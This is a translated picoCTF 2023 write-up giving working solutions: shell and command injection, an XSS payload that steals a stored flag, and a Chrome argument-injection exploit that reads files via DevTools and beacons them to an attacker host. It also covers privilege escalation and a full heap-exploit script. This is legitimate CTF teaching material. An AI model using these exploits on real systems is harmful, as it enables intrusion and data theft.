picoCTF 2023 WriteUps
This article is automatically translated by LLM, so the translation may be inaccurate or incomplete. If you find any mistake, please let me know.
You can find the original article here .
This year, I participated in picoCTF solo again. I only solved some high-scoring problems in the first couple of days and didn't touch it afterward.
General Skills
Special
This is a python program that does some unknown processing on your input before sending it to os.system
. However, since there's no source code, you can only try randomly. My solution was to input a;`cat`
and then input bash. After that, Ctrl-D
to get the shell. The reason this works is that the challenge uses ssh connections, so there's a tty that allows me to send EOF.
I got the Flag picoCTF{5p311ch3ck_15_7h3_w0r57_0c61d335}
, and I also grabbed the source code of the challenge:
#!/usr/bin/python3
import os
from spellchecker import SpellChecker
spell = SpellChecker()
while True:
cmd = input("Special$ ")
rval = 0
if cmd == 'exit':
break
elif 'sh' in cmd:
print('Why go back to an inferior shell?')
continue
elif cmd[0] == '/':
print('Absolutely not paths like that, please!')
continue
# Spellcheck
spellcheck_cmd = ''
for word in cmd.split():
fixed_word = spell.correction(word)
if fixed_word is None:
fixed_word = word
spellcheck_cmd += fixed_word + ' '
# Capitalize
fixed_cmd = list(spellcheck_cmd)
words = spellcheck_cmd.split()
first_word = words[0]
first_letter = first_word[0]
if ord(first_letter) >= 97 and ord(first_letter) <= 122:
fixed_cmd[0] = chr(ord(spellcheck_cmd[0]) - 0x20)
fixed_cmd = ''.join(fixed_cmd)
try:
print(fixed_cmd)
os.system(fixed_cmd)
except:
print("Bad command!")
Specialer
In this challenge, after ssh-ing in, you get a bash shell, but commands like ls
don't work. It can be guessed that the binaries have been deleted, leaving only /bin/bash
. However, I'm familiar with this situation because it's similar to another challenge I created Free Shell, but that one was much harder.
The core concept is how to use only bash built-in functions to perform ls
and cat
tasks. echo *
can list files in the current directory and can be combined with glob to do many different things. Since there are many files in this challenge and it's uncertain where the flag is, a loop can be used to check all files matched by glob with echo $(<$file)
to see if there's a flag:
for f in **/*; do echo $(<$f); done
Flag: picoCTF{y0u_d0n7_4ppr3c1473_wh47_w3r3_d01ng_h3r3_d5ef8b71}
Web Exploitation
Java Code Analysis!?!
This challenge is a spring boot web page modified from this. Reading the source code, you can see in SecretGenerator
:
private String generateRandomString(int len) {
// not so random
return "1234";
}
So the jwt secret key is fixed at 1234
. Signing an admin jwt will get the flag:
{
"role": "Admin",
"iss": "bookshelf",
"exp": 1679561205,
"iat": 1678956405,
"userId": 2,
"email": "admin"
}
msfroggenerator2
This challenge has an openresty (nginx) server on the outer layer, then through traefik, there are api and bot backends.
nginx config:
server {
listen 8080;
resolver local=on;
location / {
add_header Content-Security-Policy "default-src 'none'; script-src 'self'; style-src 'self'; img-src https://cdn.jsdelivr.net/gh/Crusaders-of-Rust/corCTF-2022-public-challenge-archive@master/web/msfroggenerator/task/img/; connect-src 'self'" always;
root /var/www;
}
location /api/ {
proxy_set_header Host api;
proxy_pass "http://traefik:8080";
}
location = /report {
proxy_set_header Host bot;
set_by_lua $url 'return "http://openresty:8080/?id=" .. ngx.var.arg_id';
proxy_pass "http://traefik:8080/?url=$url";
}
}
traefik:
http:
routers:
api:
service: api
rule: "Host(`api`)"
bot:
service: bot
rule: "Host(`bot`)"
services:
api:
loadBalancer:
servers:
- url: "http://api:8080"
bot:
loadBalancer:
servers:
- url: "http://bot:8080"
Under /var/www
, there's a static website that calls some /api/
apis. However, after a simple read, it seems impossible to XSS. Another suspicious part of this challenge is why two reverse proxies are used, which is related to the bot:
import puppeteer from 'puppeteer';
import { readFile } from 'fs/promises'
const sleep = time => new Promise(resolve => setTimeout(resolve, time));
const flag = await readFile('/flag.txt', 'utf-8');
const browser = await puppeteer.launch({
headless: false,
pipe: true,
dumpio: true,
args: [
'--incognito',
'--js-flags=--jitless',
'--no-sandbox'
],
defaultViewport: {
width: 1280,
height: 720
}
});
const visit = async () => {
const page = await browser.newPage();
const [url] = process.argv.slice(2);
await page.goto('http://openresty:8080/');
await page.evaluate(flag => {
localStorage.setItem('flag', flag);
}, flag);
await page.goto(url);
await sleep(5000);
const screenshot = await page.screenshot({
type: 'png',
encoding: 'base64'
});
await page.evaluate(async screenshot => {
await fetch('/api/reports/add', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'Authorization': `Bearer ${localStorage.getItem('flag')}`
},
body: JSON.stringify({ screenshot })
});
}, screenshot);
}
try { await Promise.race([ visit(), sleep(10000) ]); } catch(e) { console.log(e) };
await browser.close();
And
import { createServer } from 'http';
import { spawn } from 'child_process';
let running = false;
createServer((req, res) => {
const { url } = Object.fromEntries(new URL(`http://${req.headers.host}${req.url}`).searchParams);
res.writeHead(200);
if (!url) return res.end('Invalid request');
if (running) return res.end('Already running!');
(async () => {
running = true;
console.log('Starting...');
const proc = spawn('node', ['bot.js', url], {
stdio: ['inherit', 'inherit', 'inherit']
});
await new Promise(resolve => proc.on('exit', resolve));
console.log('Exited');
running = false;
})();
res.end('Sent! ' + url);
}).listen(8080);
From nginx, we know /report
will turn the id
parameter into url=http://openresty:8080/?id=$id
, so the bot receives the url http://openresty:8080/
. However, traefik considers the semicolon ;
as a query string separator and normalizes ;
to &
after version 2.7.2
. (ref: traefik issue #9164, source)
So if id
becomes ;id=another_url
, then according to new URL
, the latter parameter will be taken if there are duplicates, and another_url
will directly enter page.goto(url)
without any checks, allowing us to insert javascript:...
to achieve XSS.
base=http://saturn.picoctf.net:64716
curl -g $base'/report?id=;url=javascript:fetch("/api/reports/add",{method:"POST",headers:{"Content-Type":"application/json","Authorization":`Bearer\u0020${localStorage.flag}`},body:JSON.stringify({url:localStorage.flag})})' -v
sleep 5
curl $base'/api/reports/get' | jq .[].url
However, after talking to the author, I found out that javascript:
was not intended XD. The correct solution is to use Chrome's forced download feature (which is why the bot is non-headless) to make the file appear in /root/Downloads/xxx.html
, then override fetch
to intercept the flag.
The author originally expected CSP to block javascript:
, but Chrome seems to allow page.goto
(equivalent to the user entering in the address bar) to pass, regardless of CSP.
cancri-sp
This challenge looks like a browser pwn because it provides a patched chromium and some mojo C++ code, but I solved it unintentionally XDDD.
The shell script that runs the bot looks like this:
set -eux
SCRIPT_DIR=$(dirname -- "$0")
sleep 3 | exec $SCRIPT_DIR/src/out/Final/chrome \
--enable-blink-features=MojoJS \
--headless \
--disable-gpu \
--remote-debugging-pipe \
--user-data-dir=/does-not-exist \
--disable-dev-shm-usage \
--no-sandbox \
$1 3<&0 4>/dev/null
And the server directly passes the url you provide as argv:
var express = require('express');
var { spawnSync } = require('child_process');
var app = express();
const PORT = process.env.PORT || 1337;
let pwning = false;
app.get("/bot", async (req, res) => {
const url = req.query.target;
if (typeof url != "string" || !url.startsWith("http://")) {
return res.end("bad");
}
if (pwning) {
return res.end("come back later");
}
pwning = true;
console.log("pwning ", url);
const output = spawnSync(__dirname + "/../run.sh", [url], {
env: {},
timeout: 3 * 1000,
cwd: "/"
});
pwning = false;
res.end("done");
});
app.use(express.static(__dirname + "/public"));
app.listen(PORT, '0.0.0.0', () => {
console.log("listening ", PORT)
});
Anyone who has written shell scripts knows that quoting variables is very important; otherwise, the shell will automatically split by spaces and pass them as multiple argv. For details, see Security implications of forgetting to quote a variable in bash/POSIX shells.
So here, we just need to have spaces in the url
to perform argument injection on chrome
. Checking, we find many parameters like --no-sandbox
, --disable-gpu-sandbox
, --gpu-launcher
, --renderer-cmd-prefix
that can get RCE, but I can only execute binaries without controlling parameters.
However, I used --disable-web-security --remote-debugging-port=9222 --remote-allow-origins=* --headless=new
to directly hit Chrome DevTools Protocol to read directories and flags. (--headless=new
was added due to some behavioral differences)
<script>
// location='/bot?target='+encodeURIComponent('http://ATTACKER_HOST/ --disable-web-security --remote-debugging-port=9222 --remote-allow-origins=* --headless=new')
function log(...args) {
console.log(...args)
navigator.sendBeacon('/log:' + String(args[0]), JSON.stringify(args, null, 2))
}
const sleep = ms => new Promise(resolve => setTimeout(resolve, ms))
const path = '/challenge/flag-53035d3cba0664dfac37ff64b6e0f86e'
;(async () => {
const res = await fetch('http://localhost:9222/json/new?file://' + path, { method: 'PUT' }).then(r => r.json())
log('new', res)
const ws = new WebSocket(res.webSocketDebuggerUrl)
ws.onerror = e => {
log('wserr', e)
}
ws.onmessage = e => {
log('wsmsg', e.data)
}
ws.onopen = async () => {
log('wsopen')
await sleep(500)
ws.send(
JSON.stringify({
id: 1,
method: 'Runtime.evaluate',
params: {
expression: `document.body.innerHTML`
}
})
)
}
})().catch(err => {
log('err', err.message, err.stack)
})
</script>
picoCTF{eac36dc6}
Note: Using Chrome DevTools Protocol alone can also get RCE. Refer to ASIS CTF 2022 - xtr
Cryptography
SRA
from Crypto.Util.number import getPrime, inverse, bytes_to_long
from string import ascii_letters, digits
from random import choice
pride = "".join(choice(ascii_letters + digits) for _ in range(16))
gluttony = getPrime(128)
greed = getPrime(128)
lust = gluttony * greed
sloth = 65537
envy = inverse(sloth, (gluttony - 1) * (greed - 1))
anger = pow(bytes_to_long(pride.encode()), sloth, lust)
print(f"{anger = }")
print(f"{envy = }")
print("vainglory?")
vainglory = input("> ").strip()
if vainglory == pride:
print("Conquered!")
with open("/challenge/flag.txt") as f:
print(f.read())
else:
print("Hubris!")
This RSA challenge gives you and a , and you need to find .
My approach is , so factoring might find . If are 128-bit primes, try decrypting to see if the obtained is within the possible message character set.
from pwn import process, remote
from sage.all import divisors, is_pseudoprime
from Crypto.Util.number import long_to_bytes
# io = process(["python", "chal.py"])
io = remote("saturn.picoctf.net", 61223)
io.recvuntil(b"anger = ")
c = int(io.recvline().strip())
io.recvuntil(b"envy = ")
d = int(io.recvline().strip())
e = 65537
kphi = e * d - 1
for pm1 in divisors(kphi):
p = pm1 + 1
if is_pseudoprime(p) and p.bit_length() == 128:
for k in range(1, e):
if kphi % k != 0:
continue
q = (kphi // k // pm1) + 1
if is_pseudoprime(q) and q.bit_length() == 128:
print(p)
print(q)
n = p * q
m = pow(c, d, n)
msg = long_to_bytes(m)
print(msg)
if msg.isalnum():
io.sendline(msg)
print(io.recvall())
exit()
# picoCTF{7h053_51n5_4r3_n0_m0r3_3ed2713f}
PowerAnalysis: Warmup
#!/usr/bin/env python3
import random, sys, time
with open("key.txt", "r") as f:
SECRET_KEY = bytes.fromhex(f.read().strip())
Sbox = (
0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76,
0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0,
0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15,
0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75,
0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84,
0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF,
0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8,
0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2,
0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73,
0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB,
0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79,
0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08,
0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A,
0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E,
0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF,
0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16,
)
# Leaks one bit of information every operation
leak_buf = []
def leaky_aes_secret(data_byte, key_byte):
out = Sbox[data_byte ^ key_byte]
leak_buf.append(out & 0x01)
return out
# Simplified version of AES with only a single encryption stage
def encrypt(plaintext, key):
global leak_buf
leak_buf = []
ciphertext = [leaky_aes_secret(plaintext[i], key[i]) for i in range(16)]
return ciphertext
# Leak the number of 1 bits in the lowest bit of every SBox output
def encrypt_and_leak(plaintext):
ciphertext = encrypt(plaintext, SECRET_KEY)
ciphertext = None # throw away result
time.sleep(0.01)
return leak_buf.count(1)
pt = input("Please provide 16 bytes of plaintext encoded as hex: ")
if len(pt) != 32:
print("Invalid length")
sys.exit(0)
pt = bytes.fromhex(pt)
print("leakage result:", encrypt_and_leak(pt))
This challenge outputs after xoring your input message with a hidden key .
Since each byte can be discussed separately, let's assume we are only looking for the first byte of the key. My method is to send some random to get corresponding , then brute force to get . The result is a matrix where a certain column matches , revealing the key byte . Apply this method to other bytes to get the entire key.
from pwn import context, process, remote
import numpy as np
from tqdm import tqdm
context.log_level = "error"
# fmt: off
Sbox = (
0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76,
0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0,
0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15,
0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75,
0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84,
0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF,
0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8,
0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2,
0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73,
0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB,
0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79,
0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08,
0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A,
0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E,
0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF,
0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16,
)
# fmt: on
def oracle(pt):
# io = process(["python", "encrypt.py"])
io = remote("saturn.picoctf.net", 54334)
io.sendline(pt.hex().encode())
io.recvuntil(b"result: ")
r = int(io.recvlineS().strip())
io.close()
return r
def corr(xs, ys):
# a simple correlation function
dx = [a - b for a, b in zip(xs, xs[1:])]
dy = [a - b for a, b in zip(ys, ys[1:])]
return len([1 for a, b in zip(dx, dy) if a == b])
def recover_key_byte(idx):
pt = bytearray([0] * 16)
res = []
pt_samples = range(0, 256, 8) # to reduce the number of requests
for i in tqdm(pt_samples):
pt[idx] = i
res.append(oracle(pt))
out = [[Sbox[i ^ kb] & 1 for i in pt_samples] for kb in range(256)]
cor = [corr(res, o) for o in out]
mx = np.argmax(cor)
print(mx)
print(np.sort(cor)[-10:])
return mx
key = bytes([recover_key_byte(i) for i in range(16)])
print(key.hex())
flag = f"picoCTF{{{key.hex()}}}"
print(flag)
# picoCTF{18427c31163ec78ed7ec67cd27f58d47}
PowerAnalysis: Part 1 / Part 2
These two challenges are very similar. The first allows you to choose AES plaintext and get target power traces, while the second only gives you a txt in this format:
Plaintext: 78695fc56ec9de44bf6dabdc6e264760
Power trace: [79, 94, 103, 134, 119, 121, 64, 101, 63, 80, 75, ...]
Since I solved the second challenge first, I wrote a script to randomly generate plaintexts and get specified power traces, then format them into a txt to solve both challenges at once:
from pwn import remote
from pathlib import Path
import os, ast
traces = Path("traces")
traces.mkdir(exist_ok=True)
for i in range(100):
io = remote("saturn.picoctf.net", 55421)
pt = os.urandom(16)
io.sendline(pt.hex().encode())
io.recvuntil(b"result: ")
trace = ast.literal_eval(io.recvlineS().strip())
f = traces / f"trace{i:02d}.txt"
f.write_text(
f"""Plaintext: {pt.hex()}
Power trace: {trace}
"""
)
io.close()
In short, this challenge has no source code, but the hint says The power consumption is correlated with the Hamming weight of the bits being processed
, indicating Simple Power Analysis.
The concept is similar to the warmup. Use hamming weight and the power at a certain time point to calculate the correlation coefficient. When brute-forcing bytes, one will have a higher correlation coefficient, revealing the key byte.
from pathlib import Path
import ast
import numpy as np
from scipy.stats import pearsonr
from tqdm import tqdm
pts = []
traces = []
for f in Path("traces").iterdir():
l = f.read_text().splitlines()
pt = bytes.fromhex(l[0].split(": ")[1])
trace = ast.literal_eval(l[1].split(": ")[1])
pts.append(pt)
traces.append(trace)
# fmt: off
sbox = [
0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76,
0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0,
0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15,
0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75,
0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84,
0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf,
0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8,
0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2,
0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73,
0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb,
0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79,
0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08,
0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a,
0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e,
0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf,
0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16
]
# fmt: on
def power_model(x):
return x.bit_count()
key = []
for target_idx in range(16):
M = np.array(
[[sbox[pt[target_idx] ^ k] for k in range(256)] for pt in pts]
) # guess all key bytes
MP = np.vectorize(power_model)(M)
TR = np.array(traces)[:, 300:400] # by guessing where the first sbox happens
def get_max_corr(l):
# compute the max correlation between guessed power consumption and power traces over a range of time
mx = 0
for r in TR.T: # power traces at a time over all samples
mx = max(mx, pearsonr(l, r)[0])
return mx
res = np.array([get_max_corr(x) for x in tqdm(MP.T)])
mx = np.argmax(res)
print(mx)
print(res[mx])
print(
np.sort(res)[-10:]
) # should have a value that is significantly higher than the rest
key.append(mx)
key = bytes(key)
print(key)
print(f"picoCTF{{{key.hex()}}}")
# Part 1: picoCTF{ce920ac29f329f624d373ccd26bc3d83}
# Part 2: picoCTF{ce920ac29f329f624d373ccd26bc3d83}
Later, I found out there's a scared library that can automatically perform this type of side channel analysis. For details, see this writeup.
Binary Exploitation
hijacking
ssh in and sudo -l
shows:
User picoctf may run the following commands on challenge:
(ALL) /usr/bin/vi
(root) NOPASSWD: /usr/bin/python3 /home/picoctf/.server.py
So sudo vi
, then ESC
and :!/bin/sh
to get a root shell. The flag is in /root/.flag.txt
: picoCTF{pYth0nn_libraryH!j@CK!n9_f56dbed6}
However, from the flag, it's clear this is not the intended solution. The correct way is to use .server.py
:
import base64
import os
import socket
ip = 'picoctf.org'
response = os.system("ping -c 1 " + ip)
#saving ping details to a variable
host_info = socket.gethostbyaddr(ip)
#getting IP from a domaine
host_info_to_str = str(host_info[2])
host_info = base64.b64encode(host_info_to_str.encode('ascii'))
print("Hello, this is a part of information gathering",'Host: ', host_info)
Python defaults to finding modules from cwd, so placing a base64.py
in cwd that runs a shell will get root.
tic-tac
ssh in and see a suid binary, source code:
#include <iostream>
#include <fstream>
#include <unistd.h>
#include <sys/stat.h>
int main(int argc, char *argv[]) {
if (argc != 2) {
std::cerr << "Usage: " << argv[0] << " <filename>" << std::endl;
return 1;
}
std::string filename = argv[1];
std::ifstream file(filename);
struct stat statbuf;
// Check the file's status information.
if (stat(filename.c_str(), &statbuf) == -1) {
std::cerr << "Error: Could not retrieve file information" << std::endl;
return 1;
}
// Check the file's owner.
if (statbuf.st_uid != getuid()) {
std::cerr << "Error: you don't own this file" << std::endl;
return 1;
}
// Read the contents of the file.
if (file.is_open()) {
std::string line;
while (getline(file, line)) {
std::cout << line << std::endl;
}
} else {
std::cerr << "Error: Could not open file" << std::endl;
return 1;
}
return 0;
}
It checks the owner and reads with a time gap, so use toctou to read the flag only root can access.
{ while true; do ln -sf flag.txt lnk; ln -sf hello.txt lnk; done } &
while true; do ./txtreader lnk; done
# picoCTF{ToctoU_!s_3a5y_2075872e}
VNE
This challenge has a binary. Scp it down and decompile to see this code:
v14 = getenv("SECRET_DIR");
if ( v14 )
{
v5 = std::operator<<<std::char_traits<char>>(&std::cout, "Listing the content of ");
v6 = std::operator<<<std::char_traits<char>>(v5, v14);
v7 = std::operator<<<std::char_traits<char>>(v6, " as root: ");
std::ostream::operator<<(v7, &std::endl<char,std::char_traits<char>>);
std::allocator<char>::allocator(&v12);
std::string::basic_string(v16, v14, &v12);
std::operator+<char>(v15, "ls ", v16);
std::string::~string(v16);
std::allocator<char>::~allocator(&v12);
setgid(0);
setuid(0);
v8 = (const char *)std::string::c_str(v15);
v13 = system(v8);
if ( v13 )
{
v9 = std::operator<<<std::char_traits<char>>(&std::cerr, "Error: system() call returned non-zero value: ");
v10 = std::ostream::operator<<(v9, v13);
std::ostream::operator<<(v10, &std::endl<char,std::char_traits<char>>);
v4 = 1;
}
else
{
v4 = 0;
}
std::string::~string(v15);
}
It executes system("ls" + SECRET_DIR)
, so command injection to get a root shell: SECRET_DIR='/challenge;sh' ./bin
Another method is using the relative path call of ls
. Since suid binary doesn't clear dangerous environment variables like PATH
, set PATH=/tmp
and place a ls
script to get a root shell.
Horsetrack
[*] '/home/maple3142/workspace/pico2023/horsetrack/vuln'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'./'
This is a standard heap pwn challenge. The main vulnerability is UAF, and its custom string read function returns on \xff
, so it won't overwrite the heap pointer, allowing heap leak.
The approach is standard tcache poisoning. Since glibc version is 2.33, safe linking must be bypassed. After getting heap leak and arbitrary write, combine No PIE and Partial RELRO to overwrite GOT. Based on binary operations, I decided to write sh
to a bss location, set stderr="sh"
, overwrite setbuf@GOT
to resolve system, and overwrite printf
to call setbuf(stderr, ...)
, getting a shell.
from pwn import *
context.terminal = ["tmux", "splitw", "-h"]
context.arch = "amd64"
context.log_level = "debug"
def cheat(idx: int, name: bytes, new_pos: int):
io.sendlineafter(b"Choice: ", b"0")
io.sendlineafter(b"? ", str(idx).encode())
io.sendlineafter(b": ", name)
io.sendlineafter(b"? ", str(new_pos).encode())
def add_horse(idx: int, name: bytes, namelen: int = None):
if namelen is None:
namelen = len(name)
io.sendlineafter(b"Choice: ", b"1")
io.sendlineafter(b"? ", str(idx).encode())
io.sendlineafter(b"? ", str(namelen).encode())
io.sendlineafter(b": ", name)
def remove_horse(idx: int):
io.sendlineafter(b"Choice: ", b"2")
io.sendlineafter(b"? ", str(idx).encode())
def race():
io.sendlineafter(b"Choice: ", b"3")
def demangle(obfus_ptr):
o2 = (obfus_ptr >> 12) ^ obfus_ptr
return (o2 >> 24) ^ o2
elf = ELF("./vuln")
if args.REMOTE:
io = remote("saturn.picoctf.net", 58286)
else:
io = process("./vuln")
# io = gdb.debug(
# "./vuln",
# "\n".join(
# [
# "b sleep",
# "commands",
# "return",
# "c",
# "end",
# "gef config context.enable false",
# "c",
# ]
# ),
# )
# need to have at least 5 horses to race
add_horse(15, b"X" * 0x18)
add_horse(16, b"Y" * 0x18)
add_horse(17, b"Z" * 0x18)
add_horse(0, b"A" * 0x10)
add_horse(1, b"B" * 0x10)
remove_horse(0)
remove_horse(1)
# [1] -> [0]
add_horse(1, b"\xff", 16)
add_horse(0, b"A" * 0x10)
race()
if args.REMOTE:
# hack
# when we send `3\n` to remote, remote will respond with `3\r\n`...
assert io.recvline() == b"3\r\n"
io.recvline() # name for 0
leak = io.recvline().strip(b" |\r\n") # name for 1
print("LEAK", leak)
io.recvuntil(b"WINNER: ")
print("win", io.recvline())
print(leak)
ptr = demangle(int.from_bytes(leak, "little"))
print(f"{ptr = :#x}") # points to name for 0
remove_horse(0)
remove_horse(1)
target = 0x4040E0 # cheated
print(f"{target = :#x}")
cheat(1, p64(target ^ (ptr >> 12)).ljust(16, b"\x00"), 0)
add_horse(1, b"A" * 0x10)
add_horse(0, p64(target + 8) + b"sh".ljust(8, b"\x00")) # write
# now stderr = "sh"
remove_horse(15)
remove_horse(16)
# [16] -> [15]
target = elf.got["setbuf"] # 0x404040
print(f"{target = :#x}")
cheat(16, p64(target ^ (ptr >> 12)).ljust(16, b"\x00"), 0)
add_horse(16, b"A" * 0x18)
# got table layout: setbuf, system, printf
resolve_system = 0x401096
add_horse(15, p64(resolve_system) * 2 + p64(0x401B90))
io.interactive()
# picoCTF{t_cache_4ll_th3_w4y_2_th4_b4nk_f9c8bf9d}
A tricky part is remote echoing your input with \r\n
instead of \n
. This is due to remote using socat's pty mode.